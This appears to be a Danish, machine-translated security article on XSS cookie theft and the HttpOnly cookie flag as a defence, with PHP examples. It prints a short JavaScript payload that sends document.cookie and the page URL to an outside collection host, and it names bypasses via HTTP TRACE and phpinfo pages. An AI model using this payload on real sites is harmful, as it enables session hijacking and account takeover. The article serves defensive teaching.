Med fremkomsten af www-tjenester er flere og flere applikationer skiftet til B/S-strukturer, så en række webtjenester kan tilgås med kun én browser, men dette fører også i stigende grad til flere og flere websikkerhedsproblemer. www-tjenesten er afhængig af Http-protokollen, Http er en tilstandsløs protokol, så for at overføre information mellem sessioner er det uundgåeligt at bruge cookies, sessioner og andre teknologier til at markere besøgendes tilstand, og uanset om det er en cookie eller en session, implementeres det generelt ved hjælp af cookies (sessionen er faktisk markeret med et token i browserens cookie, Serveren opnår dette token og kontrollerer legitimiteten og binder den tilsvarende tilstand, der er gemt på serveren, til browseren), så den uundgåeligt fokuserer sikkert på cookien, og så længe denne cookie er opnået, kan identiteten på andre opnås, hvilket er fantastisk for indtrængere, især når den modtagne cookie tilhører en højt privilegeret person som en administrator, er skaden endnu større. Blandt forskellige websikkerhedsproblemer er XSS-sårbarheden særligt farlig.
For applikationer betyder det, at når der er en XSS-sårbarhed, kan andre udføre vilkårlige JS-scripts i din browser, og hvis applikationen er open source eller funktionerne er offentlige, kan andre bruge Ajax til at bruge disse funktioner, men processen er ofte besværlig, især hvis du vil have en andens identitet direkte til afslappet browsing. For ikke-open source-applikationer, såsom webbaggrunden på nogle store sider (en væsentlig egenskab ved web2.0 er et stort antal interaktioner, har brugere ofte brug for at interagere med administratorerne i baggrunden, såsom fejlrapporter eller informationslevering osv.), selvom der kan være sårbarheder i scripting på tværs af site på grund af interaktion, men på grund af manglende forståelse af baggrunden er det umuligt at konstruere perfekt ajax-kode til brug, selvom man kan bruge js til at hente baggrundskoden og returnere den til analyse, men processen er også besværlig og ikke skjult. På nuværende tidspunkt er det meget effektivt at bruge xss-sårbarheden til at opnå cookies eller kapring af sessioner, specifikt analysere applikationens autentificering og derefter anvende visse teknikker, og endda permanent få identiteten på den anden part, selv hvis den anden part forlader programmet.
Så hvordan får man cookie- eller session-hijacking? I dokumentobjektet i browseren gemmes cookie-informationen, og cookien kan hentes ved hjælp af js, så længe du får denne cookie, kan du få en andens identitet. En typisk XSS-angrebsudsagn er som følger:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Nogle applikationer kan anvende browser-binding-teknikker for at løse dette problem, såsom at binde cookies til browserens brugeragent og betragte cookien som ugyldig, når den opdages. Denne metode har vist sig at være ineffektiv, fordi når indtrængeren stjæler cookien, må han have fået fat i User-agenten på samme tid. Der er også en anden streng kode, der binder cookies til Remote-addr (faktisk er den bundet til IP, men nogle programmer har problemer med metoden til at opnå IP, hvilket også fører til spare), men det giver en meget dårlig brugeroplevelse, og ændring af IP er almindeligt, for eksempel er arbejde og hjem to IP'er, så denne metode bliver ofte ikke taget i brug. Derfor er cookie-baserede angreb meget populære nu, og det er let at få administratorstatus for applikationen på nogle web 2.0-sider.
Hvordan holder vi vores følsomme cookies sikre? Gennem ovenstående analyse opnås generelle cookies fra dokumentobjekter, og vi skal blot gøre følsomme cookies usynlige i browserdokumentet. Heldigvis accepterer browsere nu generelt en parameter kaldet HttpOnly, når de sætter cookies, ligesom andre parametre som domæne; når denne HttpOnly er sat, vil du ikke se cookien i browserens dokumentobjekt, og browseren vil ikke blive påvirket på nogen måde, fordi cookien sendes i browserens header (inklusive ajax). Applikationer bruger generelt ikke disse følsomme cookies i js, vi bruger HttpOnly til nogle følsomme cookies, og vi sætter ikke nogle cookies, der skal opereres med js i applikationen, hvilket sikrer sikkerheden af cookieoplysninger og applikationen. For mere information om HttpOnly, se http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Headeren til at sætte cookies i din browser er som følger:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Tag php som eksempel, er understøttelse af HttpOnly blevet tilføjet til Setcookie-funktionen i php 5.2, for eksempel:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,NULL,TRUE);
Du kan sætte abc-cookien til kun Http, og dokumentet vil ikke være synligt for denne cookie. Da setcookie-funktionen i bund og grund er en header, kan du også bruge headeren til at sætte HttpOnly. Brug derefter document.cookie for at se, at denne cookie ikke længere er tilgængelig. Vi bruger denne metode til at beskytte Sessionid, såsom nogle autentificeringscookies til autentificering, så vi ikke behøver bekymre os om, at identiteten bliver opnået, hvilket er af stor betydning for nogle baggrundsprogrammer og webmail for at forbedre sikkerheden. Når vi bruger ovenstående angrebsmetode igen, kan vi se, at vi ikke længere kan få fat i følsomme cookies, som vi har sat som Kun Http.
Det kan dog også ses, at HttpOnly ikke er almægtig; for det første kan det ikke løse problemet med xss, det kan stadig ikke modstå angreb fra nogle tålmodige hackere, og det kan heller ikke forhindre indtrængere i at lave ajax-indsendelser, og endda nogle xss-baserede proxies er dukket op, men det har været muligt at hæve tærsklen for angreb, i det mindste gennemføres xss-angreb ikke af alle script-kid, og andre angrebsmetoder skyldes nogle miljømæssige og tekniske begrænsninger. Det er ikke så almindeligt som småkagetyveri.
HttpOnly kan også udnytte nogle sårbarheder eller konfigurere Bypass, det største problem er, at så længe du kan få cookie-headeren sendt af browseren. For eksempel kan det tidligere Http Trace-angreb returnere cookien i din header, og dette angreb kan gennemføres ved at bruge ajax eller flash, som også er blevet patchet i ajax og flash. Et andet bemærkelsesværdigt eksempel på mulig omgåelse i konfiguration eller applikation er phpinfo; som du ved, vil phpinfo vise http-headeren sendt af browseren, inklusive den autentificeringsinformation vi beskytter, og denne side findes ofte på forskellige sider, så længe du bruger ajax til phpinfo-siden og fjerner den del, der svarer til header-headeren, for at hente cookien. Ufuldkommenheder i nogle applikationer kan også føre til header-lækage, som kan angribes lige så meget som en side, der er beskyttet af grundlæggende verifikation.
HttpOnly understøttes bedre i IE 6 og nyere og anvendes bredt i applikationer som Hotmail, og har opnået relativt gode sikkerhedsresultater.
|
Opslået på 03/06/2015 20.57.48
|
|
|
